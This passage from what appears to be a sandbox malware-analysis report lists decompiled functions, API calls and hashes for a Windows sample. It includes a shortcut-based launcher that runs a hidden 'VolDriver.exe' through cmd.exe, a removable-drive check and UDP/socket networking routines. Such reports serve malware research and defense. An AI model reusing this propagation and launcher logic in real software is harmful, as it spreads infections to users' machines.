InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

0x00404d7b
0x00404d81
0x00404d93
0x00404d99
0x00404da0
0x00404dc6
0x00404de0
0x00404ded
0x00404df3
0x00404df6
0x00404e06
0x00404e1b
0x00404e33
0x00404e3a
0x00404e54
0x00404e62
0x00404e62
0x00000000
0x00404e70
0x00404e75

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA
%windir%\System32\cmd.exe, xrefs: 00404DCF

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 00405BA8
SysAllocString.OLEAUT32(C:\Users\user\AppData\Local\Temp\2550821914.exe), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Strings

C:\Users\user\AppData\Local\Temp\2550821914.exe, xrefs: 00405BAE

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Users\user\AppData\Local\Temp\2550821914.exe
API String ID: 459949847-722150251
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 7.6, APIs: 5, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x0
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x0
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_v16 = CreateFileW(0x416be8, 0x40000000, 0, 0, 2, 2, 0);
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

0x0040966d
0x00000000
0x00000000
0x00409674
0x0040967c
0x00409683
0x0040968b
0x0040968e
0x00409692
0x00409698
0x004096aa
0x004096ad
0x004096b3
0x00000000
0x00000000
0x004096c8
0x004096de
0x004096a4
0x004096a4
0x004096a7
0x004096a7
0x004096fe
0x00409701
0x00409705
0x00409719
0x00409723
0x0040972d
0x0040972d
0x0040973a
0x00000000
0x00409749
0x0040974f

APIs

CreateFileW.KERNEL32(00416BE8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32 ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: ffe5f978a5d75daa98a19236d1bc63fd9fce486f64e544f4dc3e6b78cafa0eaa
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

0x0040dd00
0x0040dd02
0x0040dd11
0x0040dd1d
0x0040dd27
0x0040dd2d
0x0040dd32
0x0040dd51
0x0040dd55
0x00000000
0x0040dd63
0x0040dd35
0x0040dd39
0x0040dd3e
0x0040dd42
0x0040dd47
0x0040dd4a
0x0040dd4c
0x00000000
0x0040dd50
0x0040dd64

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(00000000,00000000,00401192), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: ec457a0ef5b77bc146b0fe158738aa773204c9d46a9fd8b8c2a6535aafe8bc7d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404bff
0x00404c24
0x00404c3e
0x00404c3e
0x00404c24
0x00404bff
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

0x0040dad0
0x0040dad6
0x0040dadb
0x0040dade
0x0040dae1
0x0040dae5
0x0040dae8
0x0040daf3
0x0040dafb
0x0040db04
0x00000000
0x00000000
0x0040db0a
0x0040db10
0x0040db18
0x0040db22
0x0040db26
0x0040db2b
0x0040db2f
0x0040db32
0x0040db32
0x0040db38
0x0040db3c
0x0040db40
0x0040db44
0x0040db4e
0x0040db51
0x0040db56
0x0040db60
0x0040db68
0x0040db6e
0x0040db73
0x0040db7e
0x0040db88
0x0040db91
0x0040db96
0x0040db96
0x0040db73
0x0040dba5
0x0040dbbf

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

0x0040ea30
0x0040ea3c
0x0040ea53
0x0040ea57
0x0040ea5b
0x0040ea5f
0x0040ea63
0x0040ea65
0x0040ea6b
0x0040ea70
0x0040eaef
0x0040eaef
0x0040ea73
0x0040ea75
0x0040ea87
0x0040ea8f
0x0040ea97
0x0040ea99
0x0040ea9f
0x0040ea9f
0x0040ea97
0x0040eaad
0x0040eaae
0x0040eab3
0x0040eac9
0x0040eacd
0x0040ead1
0x0040ead5
0x0040ead9
0x0040eadb
0x0040eae1
0x0040eae4
0x00000000

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,?,0040EC84), ref: 0040E770
Sleep.KERNEL32(00000001,?,?,0040EC84), ref: 0040E786
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

0x0040e280
0x0040e282
0x0040e287
0x0040e290
0x0040e298
0x0040e2e7
0x0040e2e8
0x0040e2f3
0x0040e29a
0x0040e2a8
0x0040e2b9
0x0040e2bc
0x0040e2c1
0x0040e2c3
0x0040e2c3
0x0040e2c8
0x0040e2cf
0x0040e2ca
0x0040e2ca
0x0040e2ca
0x0040e2d9
0x0040e2df
0x00000000
0x0040e2aa
0x0040e2ad
0x0040e2b8
0x0040e2b8
0x0040e2a8

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

